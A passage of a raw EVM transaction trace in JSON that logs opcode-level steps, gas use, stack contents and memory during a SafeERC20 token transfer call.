d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7728,"op":"PUSH1","gas":62218,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7730,"op":"SWAP2","gas":62215,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x44","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7731,"op":"ADD","gas":62212,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x0","0x124","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7732,"op":"MSTORE","gas":62209,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1","0x0","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7733,"op":"JUMP","gas":62206,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44","0x20a1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8353,"op":"JUMPDEST","gas":62198,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8354,"op":"SWAP2","gas":62197,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x124","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8355,"op":"SWAP1","gas":62194,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x44","0x0","0x124"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8356,"op":"SWAP2","gas":62191,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x44","0x124","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8357,"op":"ADD","gas":62188,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x0","0x124","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8358,"op":"SWAP3","gas":62185,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x1d74","0x80","0x0","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8359,"op":"SWAP2","gas":62182,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x80","0x0","0x1d74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8360,"op":"POP","gas":62179,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x1d74","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8361,"op":"POP","gas":62177,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x1d74","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":8362,"op":"JUMP","gas":62175,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168","0x1d74"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7540,"op":"JUMPDEST","gas":62167,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7541,"op":"PUSH1","gas":62166,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x1a3a","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0x1be2","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0xe4","0x60","0x1c81","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x80","0x0","0xe4","0x60","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x168"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000124","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000044","a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c","2e6fa21a000000000000000000000000000000000000000000000000000136db","f40ac09b00000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c6564a9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7543,"op":"PUSH1","gas":62163,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x0","0x0","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x4c711efa05b78582f07d9d960b1dadde95688166","0xa28","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x87132c7dbd